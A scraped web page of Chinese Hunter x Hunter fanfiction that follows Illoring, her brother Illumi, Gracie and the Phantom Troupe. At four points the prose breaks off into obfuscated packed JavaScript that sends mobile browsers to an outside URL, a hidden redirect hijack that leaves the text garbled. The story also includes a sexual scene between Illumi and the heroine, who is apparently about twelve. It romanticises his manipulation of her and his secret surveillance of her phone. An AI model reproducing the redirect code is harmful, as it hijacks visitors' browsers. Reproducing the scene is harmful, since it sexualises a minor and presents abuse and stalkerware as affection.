l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303842|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给自己了。 曾经的伊洛林要表态，现在的伊洛林更要表态。 揍敌客家，不养不是家人的人，也不会轻易饶过背叛者。所以不论是出自哪一种原因，伊洛林都不可能去尝试脱离揍敌客家，她也并不擅长撒谎，只能认真地去做长时间的筹划，以求尽可能的偏向自己想要的那一边。 十二岁……吗。 格蕾西总觉得是她吃亏，但是对于伊洛林来说，吃亏的应该是伊尔迷，看似黏上，实则年下，伊尔迷对她来说太小了。 ……但是这句话千万不能告诉伊尔迷听。 所以她能够理解伊尔迷为什么对她占有欲十足，太年轻了，所以才会显得这样。 不得不说如果格蕾西知道伊洛林的想法，她会觉得伊洛林疯了，生病了，脑子有问题，精神疾病大爆发，你对伊尔迷的十级滤镜可以关一下吗？想当初你还是那个对伊尔迷会害怕的伊洛林，这到底是发生了什么事？ 怕还是怕的，但是已经没那么怕了是真的。 一切都看伊尔迷的想法。 他想做个好哥哥，他希望妹妹不恨他，他想要将一个人牢牢地抓在手掌心里，所以他退而求其次地在做别的事情，哪怕伊洛林清楚他根本没放弃只是在伪装，也根本找不到合适的理由。她第一次品尝深入骨髓的爱意，第一次这样深刻的理解到占有欲，在每个他们相拥而眠的夜晚，伊尔迷的双臂都会紧紧地禁锢她。 伊洛林难以自拔地陷进去。 她怎么躲得开这样的一种陷阱？ 水温逐渐变凉，伊洛林闭了闭眼，她重新睁开眼时叹了一口气，突兀开口了：“有什么事吗？” 无人应答。 “我会掐断你的喉咙，如果你不开口。” 伊洛林撑起身体，□□地从浴缸里出来，随手拿了一条浴巾围住自己，半开的浴室门口传来一声轻咳，男孩的声音是压不住的心虚：“哎呀，你先穿好衣服，我们再说话。” “……好吧。” 伊洛林先穿好了睡裙，来到房间后，看见了坐在自己床上的少年。 和自己一般大，金色的短发，绿色的眼睛。 她沉默了片刻，意识到了什么：“米拉？” 米拉笑起来很可爱，露出小虎牙时稚气未脱，他放松下来冲着伊洛林眨眨眼睛：“哎呀，看来妈妈和我说过你？嗯……别告诉她我来了，她不允许我出孤儿院的。” “……可你还是来了。” “没办法。”米拉夸赞地叹气：“妈妈她思想太简单，总是会被男人骗，我放心不下，而且……她正因为你受到很多追杀呢。” 气氛转瞬间变得凝重。 但是很快，米拉又打破了这样的氛围：“不用担心，伊洛林，妈妈和我说过，她是喜欢你的。所以我也会保护你，我年长你几个月，要叫我米拉哥哥哦^^” 米拉笑容狡诈。 “顺带一提，听说你见过我父亲，他是个怎么样的人？好杀吗？另一个人呢？他好不好杀？” 93.85 米拉说话很真诚，可伊洛林脑子里开始播放侠客的那张脸。 瞬间就一点也不想相信他了。 “你和你父亲，简直是一个模子里刻出来的样子。” 米拉鼓了鼓脸，对这个评价十分不满意，托着腮帮子愤愤不平：“真过分！我也想像妈妈一点，如果我也是蓝色的眼睛会不会更好一点呢？起码来点蓝色头发的挑染吧？” 不，那个也太奇怪了。 但是说实话，这么看的话米拉虽然像，却又不至于太像。他留着长鬓角，头发也很柔顺，像是水母头一般的发型，脖颈后的头发比较长，眼睛是绿幽幽的，像极了湖泊的颜色。 他脱掉自己的外套给伊洛林披上，自然而然地这么做着。 “小心着凉。” “……谢谢。” 伊洛林仔细想了想：“你要杀他们两个还是太早了，而且就算是你妈妈也做不到。” 米拉表达了自己的惋惜之情。 他讨厌自己的父亲，犹如照镜子的时候会讨厌自己一样。可是妈妈曾经告诉他，他的出生并不是不被期待的，正相反，那个时候出现在妈妈肚子里的他拯救了失去目标的妈妈。她生出了米拉，抱着他痛哭时，意识到自己的生命还未终结，她不可能停止脚步，因为她还有要做的事情。 他一直被妈妈深爱着，所以才会越发的憎恶自己的父亲。 他凭什么让妈妈痛哭，凭什么让妈妈一个人生孩子，凭什么让妈妈宁愿把他藏起来也不肯放他出去？ 他不需要父亲。 他只需要妈妈。 “嘛，既然杀不掉，那也不能白出来一趟？”米拉可怜巴巴地拉住伊洛林的衣服一角：“妹妹，收留一下我们吧？” “……你们？” 窗台那探出一个小脑袋，男孩弯了弯眼睛，乖巧地呼唤她。 “伊洛林姐姐，我能进来吗？” 伊洛林：……？ “我是米达。”留着黑色短发的男孩自我介绍道，他看起来与柯特的岁数差不多大，此刻正乖乖地坐在位置上，用蓝色的眼睛凝视着伊洛林，他长得像零，只有眼角眉梢有一点像某个人。伊洛林捂着自己脆弱的小心脏。 零，女人中的女人……雄鹰一般的女人。 你竟然生了两个！还是每个人一个？！ “这是怎么回事……”伊洛林的脑子有点乱，没想到库洛洛你个浓眉大眼的，真的会做绿自己手下这种事，侠客他知道吗？他应该只知道自己有个孩子，不知道库洛洛也有，人生大喜大悲，他最好别被冲击得精神失常了才好。 望着两个眼巴巴的，脸上写着穷的孩子，伊洛林把副房给了他们。 “我会告诉零的。” “那就晚一点再告诉，好不好？”米拉亲亲热热拉着她的袖子，哦，那是他自己的衣服的袖子：“妈妈会关心则乱的，虽然她总是说我们跑出去了死外面，她也只会给我们复仇而不会沉浸在悲伤里，但是妈妈很爱我们，她一定会着急的。” “伊洛林姐姐——” 米达也释放哀求视线。 他长得太可爱了，尤其是像零这一点，看起来也像是伊洛林自己的弟弟一样，实在没办法，便还是答应了他们。米达觉得伊洛林和零长得像，说不准也能够真正成为兄妹呢，但是伊洛林十动然拒，她有生为揍敌客的家人了。 米拉开玩笑道：“不如这样，米达你去揍敌客家，抱着家主的腿喊爷爷，看能不能蹭一点关系？” “哥哥为什么不去，啊，忘记了，哥哥年纪有点大了呢。” “哈哈，米达，你想和哥哥比划两下吗？” “那哥哥就祈祷下次做错事我会替你背锅吧？” “^ ^” “^ ^” 不愧是亲兄弟。 伊洛林把他们推进副房里，顺便将米拉的外套丢给他，转身回了自己的卧室，往上一躺开始补眠。她可是需要睡眠的，以前睡得少，现在针拔了，记忆恢复了，她对睡眠的需求就高起来了，养精蓄锐才能够充分备战。 第二天八点，伊洛林被吵醒了。 她睁开眼时闻到了食物的味道，朦胧了两秒才记起来，自己还收留了两个小孩，翻身起床就看见米拉正在房间自带的厨房里忙碌，端出来颇为丰盛的一顿早餐。伊洛林没想明白，米拉却殷勤地邀请她来吃饭：“我妈说了，会做饭的男人才有女生喜欢，来，伊洛林，尝尝味道。” 米达洗了手坐在椅子上，圆滚滚的眼睛盯着伊洛林看。 他不笑的时候像库洛洛，瘆得慌，笑起来又和米拉差不多，侧面证明长得像零也是没什么用的。 早餐很简单，但是炒蛋里放了牛奶，培根恰到好处，五谷杂粮打出来的糊糊也很好喝。 伊洛林想了半天，最终问米拉，他们想要什么。 “目前只需要一个暂住地，我们两个没带钱，一拿钱就可能会被妈妈发现。”米拉想了想：“如果你要出去，回来的话能带点零食吗？我们还有一点事需要在这里解决，所以不会出门。” 伊洛林掏出钱包，拿出几张纸币放在桌面上。 “你们可以去十二楼的餐厅吃饭。” “床头柜里的零食不要吃，会中毒。晚一点我回来，给你们带你们能吃的。” 米拉眉开眼笑，不知是不是开玩笑，说了句以后十倍奉还，伊洛林并不在乎这一点小事，就当作是饭钱也行。米达跑过去抱了抱她，眼睛闪闪发亮，他笑着对伊洛林撒娇：“谢谢姐姐，姐姐要早点回来哦，我和哥哥会等你的哦——” 伊洛林迟疑了一下，还是摸了摸他的头。 她走的窗户，一跃而下，住在二十四层顶楼的她，后知后觉意识到，这两个孩子，都会念。 否则米拉怎么可能上得来。 外面可没有任何可以站立的地方，哪怕是扒拉着墙壁，也不可能坚持那么久，零的孩子真是不同寻常，不过既然都答应了，她也不会去说这些事，除非零自己发现了来问她。 她现在应该专注于自己的事情了。 耳机连接，程序启动，萨次的声音徐徐而来。 “早安，伊洛林。” “早。” “里伯让我转告你，希望你把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311575|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从黑名单里放出来。”萨次顿了顿：“不过我觉得你可以继续拉黑，他有点话痨。” “嗯，他太烦了。”伊洛林进入了百货大楼，现在还没到营业时间，行人太少，她需要找个地方买一身新衣服，继续自己的行动。萨次似乎是轻笑了一声：“你妈妈也这么说过，他太烦了，一直说一直说的。” “那你呢，你怎么不追？” “……有些时候，有些人，一眼就会清楚，她并不属于你。” “为自己的懦弱找的借口吗？” “你最近是不是心情不好？” “……抱歉。” 萨次没有和她计较她的攻击性，他清晰地感受到，如果伊洛林不是曾经说过要做这些事，现在的她应该会直接杀进克雷诺德大本营，让自己的哥哥做一次亏本生意，剩下的琐碎与她无关，也根本不会继续和自己说话。伊洛林变了，很明显地变得冷漠，疏离，不与任何人产生联系。 “伊洛林，我并不想为难你，也不愿意你捆绑进这里。” “萨次，你知道猎人协会正在逐渐接手克雷诺德家族的企业，这件事吗？” “……” 萨次的呼吸一下子沉重起来，他想了想，念出了一个人的名字。 「帕里斯通」 “我不建议你和他对上，伊洛林，他很危险。” “其实猎人协会不过就是守序中立的组织而已。”伊洛林找到了自己想要的衣服，她进入更衣室，将衣服迅速换好，留下了足够的金钱后，离开了还没开始营业的店铺。她没有被监控摄像头拍到任何一点身影，撩了撩长发，她像个普通学生一样混进了某座中学。 “是。” “萨次，要不要来我家工作呢？比起那种嘴上说得好听，实际上只不过是用名声将你们拢在一起的组织，揍敌客还是更好一点的吧？” “……伊尔迷杀了你的父母。” “嗯。我还是那句话，向刀复仇吗？不可能的，持刀的人才是真正的凶手，我这句话里有偏向，因为人都是双标的，如果我被你养大，说不定我会谴责揍敌客呢。” 伊洛林半开玩笑，却很清晰地在告诉萨次，揍敌客养育了她。 “……三年二班，在五楼有办公室，资料都发给你了。祝你好运。” “祝我好运。” 伊洛林笑了一声。 所有人都以为她只在黑夜里行动，因为每一场暗杀都伴随着月光，然而揍敌客家是不分白天黑夜的，伊洛林清楚地记得每一次暗室里，长到以为是一辈子的黑暗。这一次她杀了六个，和克雷诺德家族属于一丘之貉的某些教师们，失踪的漂亮女学生们，她们需要复仇，所以这一次伊洛林不是为了别人，只是为了那些女孩子们。 “萨次，别再提我的家人，也别再告诉我他们的事情。我已经不是他们的孩子了，也不配再做他们的孩子吧？” “……好。” “这样就很好了，萨次。” “你……伊洛林，你是自由的。” 萨次轻声念道。他的手指轻轻抚过某张相片，他想，复仇确实没有意义。 94.86 她不再去想从前，一颗心只是缓缓下沉。 她不再想什么爱不爱的，应当是那个时候太不满足，空荡荡的内心像无底洞，她像海洋里漂浮着的海藻，向下衍生出万里的空荡，左顾右盼唯剩一根浮木在托举着她。 滚烫的泪水曾经千百遍地冲刷过眼眶，伊洛林重复询问自己，为什么要那么贪心，为什么不曾满足于格蕾西的存在，为什么仍旧渴望亲情。 她们拥有各自的痛苦。 她们拥有不同的性格。 格蕾西被遗弃在街角，她在山村里挣扎。 人生于他们而言像一场玩笑，伴随着长大而来的生长痛凝结在骨髓深处，是抓挠不到的瘙痒与日渐加深的痛楚。 她又开始哭，眼泪浸透枕头的时候，她还有些茫然自己为什么在哭，伴随着记忆卷土而来的大概是她那颗千疮百孔的心，因为格蕾西已经在这个世界，所以她又像块海绵，伴随着窒息与呼吸的急促，控制不住地颤抖。 她杀了人，回不去。 回去了之后，她一定也是会杀人的。 那个世界已经消失了，她回不去了，也不能回去了。 如果可以，只需要一把药物，就能够治愈自己的所以就好了。她蜷缩在被子里，手机震动，她凝视着上面的备注，眼泪越发的汹涌，指尖划过接听键，对面没有任何声音，可伊洛林控制不住自己的情绪。 她未出口的话语化作号啕大哭。 “哥哥……哥哥……” 她痛不欲生地呼唤这个称呼，控制不住自己的歇斯底里，她尖锐的声音几乎穿透了房间，可念力封住了这个房间，避免隔壁住着的米拉米达听见，她抽噎着，泪如雨下。 她甚至不知道自己为什么要哭。 天气很好，计划稳步进行，她对杀人没有任何波澜，也不曾想过任何事情，却偏偏在那一个瞬间情绪骤变，像在提醒她，你这辈子还是一个不满足的贪婪之辈，你到底还想要什么？你为什么从不满足？你为什么内心依旧空荡荡？你到底还需要多少爱？ 对面静悄悄，只是呼吸声在平稳吞吐。 伊洛林翻了个身，她又开始想，自己为什么不是揍敌客的孩子，自己凭什么不是？为什么不可以是？如果自己不知道就好了，不知道的话，她还能够是伊洛林。如果她没有恢复记忆的话，是不是不会觉得自己可笑了？ 人的情绪反扑真是激烈，她不断回忆起那些细微的地方，把自己做过的蠢事一件又一件地回忆。 “伊洛林。” 伊尔迷缓缓开口。 “你明白了吧？” “你是离不开哥哥的。” “没有哥哥的话，你根本活不下去，所以放弃你无谓的挣扎抵抗。你爱哥哥，你需要哥哥，你在哥哥这里才能获得一切……格蕾西给你的我或许给不了，但是格蕾西给不了你的，哥哥全部都能给你哦。” 他的声音带着强烈的蛊惑意味。 他的话语伴随着眼泪破碎在手臂处，滚烫的泪水化作了冲动出口的诘问：“哥哥又能做什么？难道我说我现在立刻就要看见你，你也会在这里吗？” 伊尔迷挂断了电话。 伊洛林捂着脸，她又开始后悔，自己为什么要这么和伊尔迷说话，如果伊尔迷不要她了，她是不是就会不被揍敌客需要了？她知道的，一切的一切，都是因为伊尔迷，他想要玩具，他想要弟弟，他想要所有物，自己的价值称斤足够比价，仅此而已才对吧？ 她不适合在这个时候做任何事情。 她为什么总是在口不择言？ 她失败的人生延续了这样一遭，又能够变得怎么样？只不过是往更深处堕落。 时间恍惚，一晃而过十分钟，室内静悄悄，可是在十二分钟迎来时，她的窗户被推开了，黑色的长发被夜风吹拂进室内，黑豹一般蹲在窗台上的身影轮廓鲜明，月色落在地板上不断流淌出痕迹，那双熟悉的眼睛落在自己身上时，伊洛林才迟钝地意识到一件事：如果伊尔迷真的在等一个机会，他怎么不放弃任何一种可能性？ 他很清楚。 伊洛林的抑郁已经无止境地恶化，恢复记忆之后，重蹈覆辙是不可避免的。 海水吞没伊洛林的口鼻。 她在溺亡。 直到被双臂拥紧在怀中时，伊洛林才反应过来这到底是怎么一回事，她以为伊尔迷离她很远很远，结果仅仅是十几分钟，伊尔迷就赶到了她的身边。她茫然的眼泪还在往下滴，吸了吸鼻子，又推了推伊尔迷，没推动。 还好赶上了。伊尔迷如是想到。毕竟再过几分钟，伊洛林应该就撑不住要给格蕾西打电话了。 “为什么……” “啊，接了一单生意，恰好在附近。”伊尔迷面不改色。他确实有一笔生意在近期附近，却不能解释其他的事情，比如伊洛林的手机里有定位器，检测心跳和情绪的工具，监听器，以及复制她所有浏览记录与聊天记录的软件。真是不好意思，伊洛林，哥哥可从来没有放心过你和格蕾西没有密谋逃离这种事情。 他的体温比伊洛林高一些，倒不如说伊洛林太冷。 她推不开伊尔迷，只能被迫在他怀里继续抽噎，心情糟糕，差到极点，难以说出开心还是不开心，只是抗拒不了眼泪的肆意流淌。 伊尔迷抱得很紧很紧，骨骼挤压发出轻微的声响，足够的力度能让人感受到安心，他的手指穿插在伊洛林的长发里，摁压住后脑，他享受着伊洛林在他面前崩溃的模样。他一直在等，等一个比陪伴还要极限的乘虚而入的机会，他研究了伊洛林与格蕾西的相遇，最需要的时期一定都在彼此的身边，那么，他也会有这样的机会的。 伊尔迷的黑发包裹住伊洛林的身体，安心的感觉仿佛从幼年开始便存在着。 “哥哥在这里，伊洛林。” “不论发生什么事，哥哥都会陪伴你的。” “哥哥会让你忘掉一切……伊洛林，信任哥哥不好吗？哥哥从未让你失望不是吗，从未。哥哥一直在配合你，一直在顺从你，一直一直……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314212|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗糙指腹抹去泪水，伊洛林浑身颤抖，她确实感受到了，是的，伊尔迷从来没有……甚至一直在帮助她。她抬起头看着伊尔迷，迟钝的像不会思考一样，轻轻凑过去吻他的下唇，眼睫犹豫的盖住眼睫，像在试图说服自己。就近取暖是溺水者的本能，她的心情正剧烈崩塌，于是唇舌纠缠间她也被这样说服了。 是的。 哥哥未曾欺骗你，未曾伤害你，未曾否定与禁锢你。 你该付出了，为自己得到的一切付出，为揍敌客，也为哥哥。 伊洛林的的确确忘记了思考，忘记了难过，她直接无法思考浑浑噩噩的沉浮着，抓住被单的手指屈起，又被包裹在宽厚的手掌心里。伊尔迷的身躯对她来说如同一片阴影，遮盖住她的全部，她感受着伊尔迷的存在，如此鲜明地存在着。 伊尔迷的指腹是厚厚的一层茧子，伊尔迷的指尖从未留过长指甲，他挖掘深处的柔软时从不心慈手软，从不担忧妹妹是否忍受得住，或者会不会为时尚早。不够，还不够，内心的空洞不可避免地增加，他是会把美味的食物放在最后一口一口慢慢咀嚼，品尝到所有之后才吞咽的人，为伊洛林不可避免地沦陷做出诱导与伪装，成熟的猎人从来不是安静地等待。 伊洛林，再给哥哥多一点吧…… 你的理智应该丢掉了，你不应该一步步试探又一步步远离的，你看你，现在不是仍旧需要哥哥吗？ 伊尔迷半点没有抢了格蕾西戏份的愧疚，倒不如说如果格蕾西真的在这里，那他才会忍不住动杀心。他现在很满意，从妹妹紧绷的肌肉里寻求她的感受，彻彻底底，百分之九十，剩下那一点模糊的轮廓，伊尔迷终究要伊洛林心甘情愿地奉上。 他不做亏本买卖，也不做多余的事情。 他的脾气真的很好，不是吗，从来都只是对伊洛林百依百顺。 可凡事都是需要代价的。伊洛林，你要付出的真的很多哦。 他不满足的胃腔里蠕动着饥饿，从头到脚，从里到外，他横上小腹，压迫感十足，却没有越过最后的边界线，浪花铺天盖地，卷着伊洛林进入海洋深处，她却感受到横在腰后的手臂安心的如同稳固的、恒久不变的屏障。 哥哥的怀抱是温暖的。 哥哥的身边是安全的。 哥哥的行为是温顺的。 伊尔迷垂下眼睫近乎怜爱地看着因为疲惫而昏睡过去的伊洛林，那张未长大却依旧吸引人的脸上，卷翘的睫毛上还挂着晶莹的泪水。 伊洛林，哥哥弄错了一件事。 脑子里的针你终究是会拔出来，你已经拔出来了，可如果哥哥在你的灵魂里，扎进一根无形的针呢？ 你会下意识地感觉哥哥的怀里才是你的港湾。 你会信任哥哥，直到分享你更多的秘密与心情。 伊尔迷笑起来，浓烈的念包裹着他与她。 没关系，哥哥是一个很有耐心的猎人，不论多久，不论多远，不论你是谁，你是什么样的人……哥哥都会爱你，爱你。全部。 95.87 她做了一个梦。 梦到曾经的山村还在，她站在庭院里，一把刀，一个人，一个村，血流成河。 她坐在门口，柴刀磨得发亮，剁骨只需用多点力。 她眯着眼看天上的太阳，被刺目日光照射得泪流满面，而后柴刀架在了自己的脖颈，用他们的血和自己的血混杂，彼此都这样肮脏，不得好死。 伊洛林睁开眼，面前豁然是男菩萨的赏赐，上面的抓痕尚且新鲜，长发蜿蜒而下，搭在她与他的身上，伊洛林茫然了一阵，才发现这是伊尔迷。他的双臂禁锢在自己腰后，扑面而来的热意让伊洛林恍惚着，她颇有些头疼时听见了敲门声，后知后觉想到隔壁的米拉和米达。 她拉开伊尔迷的手，随手拿起睡裙套上，踉跄着去开门。 米拉闪闪发亮的笑脸在看到头发乱翘、身上狼藉、睡衣皱巴巴的伊洛林时彻底僵硬，他眼疾手快，直接捂住了米达的眼睛，干硬着开口：“早…早上好……你……” 他还没能说完后面的话，就又被伊洛林身后出现的高大阴影震了一下。 男人身形纤长，肌肉紧实，如山一般居高临下用一双不见任何情绪起伏的眼睛望着他，他留着的长发自上而下垂落，像藤蔓一般落在伊洛林的身上，而他身上抓挠的痕迹看起来正和伊洛林身上的相配。他的手臂肌肉也粗壮，横在伊洛林腰间时，像是大人拥有了一个娃娃一样可怕，几乎一只手就能掐断这纤细的腰肢。 扑面而来的危险感令米拉背后浸透一层冷汗。 而伊洛林拨开面前的长发，用困倦的表情面对米拉的怔然：“你们没事不用喊我，我这间房间会租到这个月底，零食也放在桌子上了。” 她的嗓音低哑，像昨夜的激烈都一一重现。 而后她抬头看向伊尔迷：“哥哥，不要吓到他们了，是零的孩子。” 伊尔迷把她拉进怀里，反手甩上门，一句多余的话都没留给他俩，抱着伊洛林又回到了温暖的被窝里，把她结结实实搂在怀里抱着：“哥哥困……再陪哥哥睡一会儿。” 伊洛林的眼皮也耷拉下去，慢吞吞应了一声。 “那哥哥晚上要帮我……” “嗯。” 伊洛林安心地闭上眼睛，又一次沉入睡梦中，梦里她还是那个孩子，背后却始终有一双眼睛注视着自己，她又好像是很快结束了梦境，只是一味的沉入黑暗里。可是到最后又恍惚梦见格蕾西的脸，她笑，她哭，她愤怒，她恨极的眼神，她望着自己越来越远的距离。 这几乎是一个噩梦。 她骤然起身，开始打电话给格蕾西，伊尔迷的手还搭在她的小腹，没什么表示的用脸蹭了蹭她的后腰处。 电话响了好几声，没接。 伊洛林打给小杰，又打给奇犽，再打给格蕾西，这次电话终于接通了，电话那头却是个陌生男人的声音：“谁啊！老是打电话，不买保险！” “……你是谁？格蕾西在哪。” “哦？丫头，你朋友？” 伊洛林听见格蕾西骂骂咧咧的声音：“芬克斯！你最好立刻把手机还给我，否则我打断你的腿！” “好啊。”芬克斯冷笑了一声：“我先弄断你的两根肋骨怎么样？把你和你的两个小姘头一起……噗！！飞？！你踹我干什么！”飞坦的声音喑哑，显得很不耐烦，干脆利落地让芬克斯滚蛋，伸手接住了手机：“林洛？” “是我。你们要对格蕾西做什么？” “窝金死了。” “……谁？” “你认识锁链手吗。” “凶手吗？那跟你们抓格蕾西有什么关系？” “是我在问你问题。”飞坦不耐烦地继续开口：“你现在在哪儿，锁链手，认不认识？” “不认识。” “好。” “定位来。” 飞坦弹了一个定位过去，伊洛林抽开伊尔迷的手翻身下床，跑进浴室里没几秒钟，又砰一声打开门，抓着的手机里还在通话，她只来得及说了一声萨次把任务讲解给我哥，就把手机丢了过去，伊尔迷利落接住，懒懒地应了一声。 伊洛林快速地洗了个澡，换好衣服出了门，套上鞋子。 伊尔迷把手机还给她，手指点了点自己的唇瓣，伊洛林凑过去亲了一口，火速去开门找米拉米达，伊尔迷挑起眉头，没说什么就走了。 好吧，格蕾西的优先等级还是这么高。 “你说，要不要去见……我们的父亲？”米拉惊讶了一瞬，和米达交换了一个视线，米达眼睛一亮，迅速点头：“要去要去，我们得去讨点赔偿金。” “可能会很危险，也不介意吗？” 米拉勾了勾唇，狡黠得像只小狐狸：“这种事该怕的可不是我们两个吧？”他的意思很明显，毕竟他们注定不会害怕自己的父亲，只能憎恶。 于是在伊洛林带着两个小孩杀到定位时，迎接的是一群惊愕的蜘蛛们，还有差点厥过去的格蕾西，眼睁睁看着一大一小两个小孩走进来，谁眼瞎才看不出来他俩是谁。 “不是？这是……谁啊！你们两个，你们两个……” 芬克斯挠了挠头，更加不敢信了，眼睛转向侠客：“这是你的孩子？你和零的？零给你生的？” 侠客不知道自己是不是大悲又大喜，只是在这种情况下，他实在没办法骗自己去高兴，只叹息着转移话题：“当务之急，是找到杀死窝金的凶手。”侠客做不到太关注自己的事情去遗忘窝金的死，现如今已经证明他们没有问题，那就是让他们离开了。 “格蕾西，你没事吧？” 伊洛林拉住格蕾西的手，而格蕾西只是摇头，她握住伊洛林的手指，注视她脖颈上的红痕，感觉像自己的东西即将被偷走一样，可是她又绝对清醒地意识到，伊洛林从来不是自己的东西，她们之间的关系太亲近，亲近到失去本该有的界限，才会让人觉得更加痛楚。她很清醒，清醒着感觉到，伊洛林不再完完全全地在她这里，格蕾西很明白，只要自己开口，伊洛林就会抛弃一切，哪怕跟自己一起去死也绝对不会犹豫，可格蕾西不会那么做。 她不是伊尔迷，做不出那种事。 米拉溜达过来，围着格蕾西转了一圈：“哎呀，格蕾西，你就是妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324539|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经常提到的格蕾西？来吧来吧，我们终于见面了，要不要去吃一顿好的？” 米达昂首望着格蕾西，乖巧地呼唤她：“姐姐好。” 小杰与奇犽在一边被遗忘，互相对望一下，彼此都觉得算了算了，能来就很了不起了，奇犽觉得自己的大哥简直不做人，六个小孩围在一起，幻影旅团基地像变成了幼稚园托儿所。 “侠客，查到了吗？” “不行，没有，还是分散出去。” “嗯，还是先放走吧？” “不行，我说了我要推荐那小子加入幻影旅团。” “如果是因为他是强化系，林洛不也可以？不要太死脑筋。” “我倒是不介意跟你切磋。” “无所谓，我也奉陪。” “好了，不要再吵架了，当务之急还是找到那个锁链手才对。”侠客在库洛洛不在时，自然是会成为脑力派的天花板，他烦躁于窝金的死，自己的儿子，还有库洛洛的儿子，没有预想到的开怀，只有同伴死去的不悦在蔓延：“总之，等团长回来再做决定，如果信长你想要推荐，那你就自己在这里守着等我们回来。” “没问题。” “有问题。”米达背手在身后，眨了眨眼睛，他一本正经地看向这群大人们：“难不成他一个人能看得住我们六个？我有一个好办法，你放我们走，我们帮你们一起找锁链手。” “哈？你这小鬼头别……” “安静听我说。”米达微微沉了沉脸，龙生龙，凤生凤，不论是库洛洛还是零绝对都是不容置疑的存在，一时之间震了震他们，米达继续开口：“我也是有收集情报的，你们的动静太大了，想不知道都难，猎人网站上没有更新的资料，你们都不知道吧？通过哪种办法当然不可以，可是我和哥哥能够做到。” “复仇，还是无谓地留下，毕竟你们走了我们立刻就会逃走，选择哪个呢？” “不，还有一个选择，那就是先把你杀了。” 飞坦跨出一步，握住了红伞。 米达此刻却微微笑起来：“可以哦，杀了妈妈的两个儿子这种事情，想必是非常精彩的，我的妈妈一定会同你们决裂变成生死不论的仇敌，这正是我所希望的。” 米拉站在他背后，没什么说话的想法，但是两个人的眼里都有着疯狂在涌动。 来吧，决定吧。 要么杀了他们，要么放了他们。 伊洛林无所谓，自己和奇犽是揍敌客家的，格蕾西是西索的妹妹零的朋友，真正危险的只有小杰一个人，但是五个人保一个人，做得到。 “……这就是你想要的？” “啊，我们还想要一张附属卡，里头最好有两个亿。”米达认真道：“作为我和哥哥的赡养费，这个是必须的，最需要的，我说的是，每个人两个亿。” 天杀的。 第一次有人敢打劫幻影旅团。 你一个十岁的小孩了不起啊？不就是爹是库洛洛妈是零吗？ ……还真惹不起。 被零物理镇压着或者保护着长大的旅团成员们，沉默是金。 96.88 被打劫的幻影旅团成员，和没有被打劫的幻影旅团成员，成为了鲜明的对比。 老成员们和后来加入的成员们，显而易见是不同的。 “那你亏本了，得找锁链手报仇。”芬克斯冷笑了一声：“毕竟你本来还应该再多两个亿的。” 但是窝金死了。 米达没说话，一双蓝色的眼睛定定地看着他，信长被他的眼神弄的心情不爽，径直就摆出了架势：“零的孩子会差？只要你从我手上逃掉，我是不会为难你的，就一刀。” 米达歪了歪头，他看向米拉。 “哥哥，操控我。” “好啊。” 兄弟俩同时散发出强烈的念力，战斗一触即发。 小杰没忍住，皱着眉头开口：“我都说了我不会愿意选择幻影旅团的，你杀了我，我也不愿意，现在大家都谈好了，你起码考虑一下所有人的想法啊！” “我为什么要考虑？”信长冷哼一声：“行了，小鬼，让我看看你的实力吧。” 格蕾西夸张叹气。 “欺负一个十岁小孩的信长叔叔，真是丢了幻影旅团的老脸。” “啰嗦啊！格蕾西，你信不信我也让你……” 话音未落，甚至这句话都还没说完，信长就被飞坦从背后偷袭的一脚踹翻，反手拖着他的衣领子离开，信长当然是气得头发都竖起来了，于是他们离开时还在吵闹不休，眼见着就要打起来，被富兰克林一手一个摁住——他们自己的事情总是要自己解决的。 伊洛林看了飞坦的背影半天，缓缓回头看向格蕾西。 两次了。 飞坦已经两次在这种时候出手了。 格蕾西被她看得一头雾水：“怎么了，他们神经又不是一天两天的了。” “嗯……没什么。”伊洛林抱着格蕾西微妙地叹气，格蕾西就这样就很好了，屏蔽掉所有人好感也是没有问题的，这样才不会被人伤害。伊洛林眼神示意奇犽，奇犽磨磨蹭蹭走了过去：“走吧，我们先回去吧，请你们吃冰淇淋。” “那是伊洛林的钱！” “知道了知道了，我用自己的那部分啦！” 米拉米达齐齐叹气，没找到第二个爹呢，看起来还得再看看别的时间点，他们望向思考中的小杰，互相对视一眼，再看看没有任何自觉的伊洛林，这些人还真是一个比一个奇怪。 “哥哥，你说妈妈会不会……” 